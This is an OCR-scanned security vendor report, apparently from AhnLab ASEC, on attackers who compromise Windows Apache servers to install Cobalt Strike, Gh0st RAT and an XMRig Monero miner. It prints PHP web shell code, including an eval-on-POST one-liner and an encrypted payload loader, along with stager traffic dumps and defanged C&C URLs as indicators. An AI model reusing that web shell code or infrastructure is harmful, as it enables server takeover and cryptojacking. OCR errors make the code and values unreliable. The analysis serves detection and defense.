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AhnLab Security Emergency response Center (ASEC) is monitoring attacks against vulnerable web servers that
have unpatched vulnerabilities or are being poorly managed. Because web servers are externally exposed for the
purpose of providing web services to all available users, these become major attack targets for threat actors. Major
examples of web services that support Windows environments include Internet Information Services (I1S),
Apache, Apache Tomcat, and Nginx. While the Apache web service is usually used in Linux environments, there
are some cases where it is used to provide services in Windows environments since it supports Windows as well.
Recently, ASEC identified an attack campaign where the XMRig CoinMiner is installed on Windows web servers
running Apache. The threat actor used Cobalt Strike to control the infected system. Cobalt Strike is a commercial
penetration testing tool, and it is recently being used as a medium to dominate the internal system in the majority

of attacks including APT and ransomware.
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Figure 1. Cobalt Strike being installed by an Apache web service (httpd.exe)

1. Attack Targeting Apache Web Servers

Targeted systems were all environments with old versions of the Apache web service and PHP installed. While the
specific method of attack has not been identified, it is likely that various vulnerability attacks would have been

possible against unpatched Apache web servers. There were also logs of PHP web shell malware strains having

been installed.

<?php

{

*

¥

fdata

@session_start();
@set_time limit(@);
@error_reporting(@);
function encode($D, $K)

<!php @eval($ POST[spread]);?:»

for ($1 = @8; %1 < strlen($D); $i++) |

$c = BK[(%1 + 1) & 15];
$D[$1i] = $D[$i] " 3%c;

return $0;

$payloadlame = "payload”;
$key = "1aldc9lc9a7325ch";

file get contents("php://input™);

if (%data l== false) {
fdata = encode($data, fkey);
if (isset($ SESSION[S$payloadNams])}) {

$payload = encode($ SESSION[Zpayloadiame], $key);

if (strpos($payload, "getBasicsInfo") === false) {
$payload = encode($payload, $keay);

}

eval($payload);

echo encode{@run($data), $key),

P else |
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Figure 2. PHP web shell malware strains used in the attacks The threat actor uploaded and executed the malware
through the installed web shell or through vulnerability attacks. The attack target is the httpd.exe process which is
the Apache web server. Accordingly, httpd.exe performs malicious behaviors such as creating and running
malware. Note that behaviors such as creating files for web service processes and executing processes are not
always used for malicious purposes. These can occur during legitimate update processes or while an administrator
is processing tasks for web server management. As such, there is a limit to anti-malware products such as V3 to
perfectly block such behaviors. AhnLab EDR (Endpoint Detection and Response) is the only next-generation
threat detection and response solution based on behavior-based engine that exists in South Korea. It provides
powerful threat monitoring, analysis, and response capabilities for endpoint areas. AhnL.ab EDR constantly
collects information on suspicious behaviors by type and allows users to accurately recognize threats in detection,
analysis, and response perspectives. Through this process, a comprehensive analysis can be performed to identify
causes, make adequate responses, and establish preventative processes. The following is a screen showing the
EDR detection of the threat actor attacking an Apache web service and installing Cobalt Strike. Traces show

httpd.exe, the Apache web server process, executing Cobalt Strike.
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Figure 3. Traces of suspicious files being created in an Apache web server (EDR)
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Figure 4. Traces of suspicious files being executed in an Apache web server (EDR)
1. Cobalt Strike Used in Attacks

A beacon is the Cobalt Strike’s agent that acts as a backdoor. Cobalt Strike provides beacons in various forms.
Depending on the method, they can be categorized as either stager or stageless. The stager method uses a
downloader malware that downloads a beacon from an external source and executes it in the memory area.

Because this method does not actually contain the beacon, it has a small size and requires an additional step for
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downloading the beacon. On the other hand, Cobalt Strike created with the stageless method contains a beacon

within and has a file size above a certain threshold.

Result  Protocol Host URL Body Process E Log [] Filters = Timeline
00 HTP 121.135.44.49:808 ja@R 260,679 test:2592 Get Started (@) statistics ik Inspectors % AutoResponder [ Composer Fiddler OrchestraBets i3y FiddierSeript
00 HTTR 121.135.44.99:808 foa.js 0 test2692 | [Headers | Textview | Syntaxview | webForms | Hexview | Auth | Cookies | Raw | 1son | x|

Request Headers [Raw] [Header Definitions]
GET /advR HTTR/1,1
Cache
Pragma: no-cache
Client
User-Agent: Mozila/5.0 {compatible; MSIE 9.0; Windows NT 6. 1; WOWE4; Trident/S.0; NP0S; NP0S; MAAL)
Transport
Connection: Keep-Alive
Host: 121.135.44.49:808

Transformer | Headers | Textview | SyntaxView | ImageView | | HexView | WebView | Auth | Caching | Cookes | Raw | JSON |

54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D Ok 44 &1 74 &5 3R 20 HTTP/1.1 200 OK..Date: ~
&4 2C 20 38 20 4E 6F 76 20 32 30 32 33 20 31 31 3R 31 37 3R 30 Wed, § Nov 2023 11:17:0
47 4D 54 0D OA 43 &F 6E 74 €5 6E 74 2D 54 79 70 65 3A 20 €1 70 9 CMT..Content-Type: ap
69 63 61 74 69 6F GE 2F €F 63 74 €5 74 2D 73 74 72 €5 €1 €D 0D plication/octet-stream_
GF 6E 74 65 GE 74 2D 4C €5 6E &7 74 68 3A 20 32 36 30 36 37 35  _Content—Length: 260673
0D 0& FC 48 83 E4 FO EB 33 5D 8B 45 00 48 83 C5 04 8B 4D 00 31 ... #H. 83831 E.H.A M1
83 C5 04 55 8B 55 00 31 C2 89 55 00 31 DO 48 83 CS5 04 83 ES 04 AH.A i &
35 D1 74 02 EB E7 58 FC 48 83 E4 FO FF DO E8 C8 FF FF FF 70 EB ip»
70 41 E1 05 3D E1 23 SE 68 AS 23 BE 20 28 C6 SE 20 28 C6& DE AD  &.phd =af[n@%x (E. (ED

Figure 5. Stager malware downloading an encrypted beacon To evade file detection, the threat actor obfuscated
the malware strains used, even using Golang or Pylnstaller. Most malware strains used in the attacks use the
stageless method. However, malware developed with PyInstaller is a downloader malware that uses the stager

method (downloads Cobalt Strike and executes it in the memory area).
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. 0E52077 4E:8B2CDO mov rl3,gword ptr ds:[rax+rl0*8]

. 4D:01FD add r13,r1s

. 41 :FFES jmp ri3

. 6666666666662E : 0OF1F8400 000 nop word ptr cs:[rax+rax],ax

. 4E:8B2CCE mov rl3,qword ptr ds:[rax+r9+8]

. 4D:01FD add r13,ris
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. 4C :8B2CDO mov rl3,qword ptr ds:[rax+rdx*8]
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. 41 :FFES jmp ri3

. 7 6666662E: OF1F8400 00000000 |nop word ptr cs:[rax+rax],ax

#|00007FF750E52080 4C :8B2CES mov rl3,qword ptr ds:[rax+rbp*8]

®|00007FF750E52084 4D:01FD add ri3,r15

#|00007FF750E52087 41:FFES jmp ri3

»|00007FF750E520BA 48:837C24 60 00 cmp gword ptr ss:[rsp+60],0 [rsp+60] : "MZARUHEIHE ™

®|00007FF750E520C0  [Gg743CE0 69 D 65 2F 75 6E 73 61 66 65 2E &7 6F 00 72 75 1 fe.

#|00007FF750E520C3 : - : croEsEm R ime/unsate.go.ra

8|00007FE750E520c7 |002RSCFO 6E T4 €8 €D €5 2F 75 T4 66 38 2E €7 6F 72 ntime/utfs.go.zu

@ 00007FF750E520CC Q002A8D00 6E 74 69 €D &5 2F 72 34 6A 79 44 4E 53 73 ntime/r4jyDNS.s.
002A8D10 72 75 €E 74 €9 €D €5 2F 49 41 75 73 68 €A 32 runtime/IAushj2.
002A8D20 73 00 72 75 €E 74 69 €D 65 2F 71 77 42 €2 5A 30 s.runtime/qwBbZO
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5662 77, 002RSDE0 73 00 72 75 €E 74 €9 €D 65 2F 46 52 42 €5 51 4B s.runtime/FRBeQK

S663 a7 002R8DT0 36 €7 S5F €7 €2 2E 73 00 72 75 6E 74 69 €D 65 2F 6g_gb.s.runtime/

’ 002RSDE0 TR 72 4F 51 57 &C TA €2 63 36 €4 2E 73 00 72 75 =zrOQWlzbcéd.s.ru

5664 11, 002A8DS0 6E 74 €9 €D €5 2F 77 4E 51 4F €5 €1 33 2E 73 00 ntime/wNQCea3.s.

5665 14, 002REDA0 72 75 6F 74 69 €D €5 2F 54 TAL 52 45 4D 4E 77 4C  runtime/TzRTMNWL
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Figure 6. Obfuscated Cobalt Strike malware strains Beacons can also communicate with the C&C server via
protocols such as http, https, and dns. As the beacon installed in the internal network during the lateral movement
stage will not be connected with the external network, an SMB beacon that communicates via the SMB protocol is
used. Because the Cobalt Strike instances used in the attacks were all used for the purpose of controlling the
infected system after initial penetration, they used the HTTP protocol for communicating with the C&C server.

The following is a result of using CobaltStrikeParser on an instance of Cobalt Strike used in the attack to extract
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the configuration data [1]. Various settings can be seen, including not only the C&C server address but also user-

agent and the target process for injection.
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Figure 7. Cobalt Strike settings data The Cobalt Strike instances used in the attacks have various appearances

such as Go and Pylnstaller, but in all cases, the same IP address was used for the C&C server. AhnLab has been

detecting the C&C address used in Cobalt Strike attacks from the past as a malicious URL, which can be also

checked in AhnLab EDR. The following is evidential data of detecting the behavior of connecting to a malicious

URL as a threat. It shows the information on the malicious URL address and the process that connected to said

URL, as well as the transmitted payload data.
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Figure 8. Connecting to Cobalt Strike’s malicious URL (EDR)
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1. Installing Additional Malware

After attempting to install Cobalt Strike, there was an attempt to additionally install GhOst RAT. This was
probably done because Cobalt Strike did not run correctly due to security products. When control over the infected

system is obtained through these attempts, a CoinMiner that mines Monero coins was ultimately installed.

{"id":1,"jsonrpc”:"2.8", "method" : "login™, "params":
{"login":"44HeeKmS2F8cEiqzDsQNsUAfj7wBbKm4BAQZmBVG7 by dWfnNBKi1UABUS sWfQevweAeB5ttMly3WIhpy54Sj7PMHBICmcSh™,
"pass":"Test","agent": "XMRig/6.19.8 (Windows NT 18.8; Win6#4; x64) libuv/1.38.8 msvc/20819","algo":["rx/
e","cn/2","cn/r","cn/fast”, "cn/half”,"cn/xao™, "cn/rto”, "cn/ruz","cn/z1s", "cn/double”, "cn/ccx™, "cn/1", "rx/
wow","rx/arq”, "rx/graft”, "rx/sfx", "rx/keva”, "argon2/chukwa”, "argon2/chukwav2”,"argon2/ninja"]}}

Figure 9. XMRig communications packet As no logs were identified other than those of installing the remote
control malware and CoinMiner, it is deemed that the ultimate goal of the threat actor is to use the resources of

poorly-managed web servers to mine Monero coins and raise a profit.
1. Conclusion

Recently, attacks involving Cobalt Strike being installed on Windows servers with Apache web service have been
identified. Seeing from the logs, it can be inferred that the threat actor attacked poorly managed web servers or
those with unpatched vulnerabilities. Cobalt Strike is a commercial penetration testing tool, and it is recently
being used as a medium to dominate the internal system in the majority of attacks including APT and ransomware.
AhnLab products are equipped with a process memory-based detection method and behavior-based detection
feature that can counter the beacon backdoor which is used from the Cobalt Strike’s initial invasion stage to

spread internally.
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Figure 10. Memory detection log for Cobalt Strike Administrators must check for the file upload vulnerability in
web servers to prevent the initial infiltration path of web shell uploads in advance. Furthermore, the password
must be changed periodically and access control measures must be put in place to respond to lateral movement
attacks using stolen account credentials. Also, V3 should be updated to the latest version so that malware infection
can be prevented. File Detection — Backdoor/Win.CobaltStrike.C5538818 (2023.11.08.00) —
Trojan/Win.Generic.R605627 (2023.09.15.01) — Malware/Win64.RL_Backdoor.R363496 (2021.01.18.05) —
Downloader/Win.CobaltStrike.C5538917 (2023.11.09.01) — Downloader/Win.CobaltStrike.C5538829
(2023.11.08.00) — Backdoor/Win.GhOstRAT.C4976986 (2023.06.04.01) — Malware/Win32.RL_Generic.R356011
(2020.11.22.01) — CoinMiner/Win.XMRig.C5539322 (2023.11.09.01) — WebShell/PHP.Generic.S1912
(2022.09.27.02) — WebShell/PHP.Small.S1690 (2021.10.26.02) Behavior Detection —
InitialAccess/DETECT.Event.M11450 — Connection/EDR.Behavior.M2650 Memory Detection —
Backdoor/Win.CobaltStrike. XM79 — Downloader/Win.CobaltStrike. XM83
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MD5

1842271f3dbb1¢73701d8c6ebb3f8638
205c12fabb38b13c42b947e80dc3d53a
36064bd60be19bdd4e4d1a4a60951c5f
594365ee18025eb9¢518bb266b64f3d2
5949d13548291566efff20f03b10455c
Additional IOCs are available on AhnLab TIP.
URL

http[:1//121[.]135[.]44[.]149[:]808/a4vR
http[:1//121[.]135[.]44[.]149[:1808/gal .]js
http[:]//121[.]135[.]44[.149[:1808/ptj
http[:1//121[.]135[.]144[.149[:1808/updates| . Jrss
http[:1//202[.]130[.]119[.]218[:]521/

Additional IOCs are available on AhnLab TIP.

To learn more about AhnL.ab EDR's advanced behavior-based detection and reponse, please click the banner

below

AhnLab EDR

We Hunt All Threats

The Purpose-built EDR Proven In MITRE ATT&CK Evaluation

Source: https://asec.ahnlab.com/en/59110
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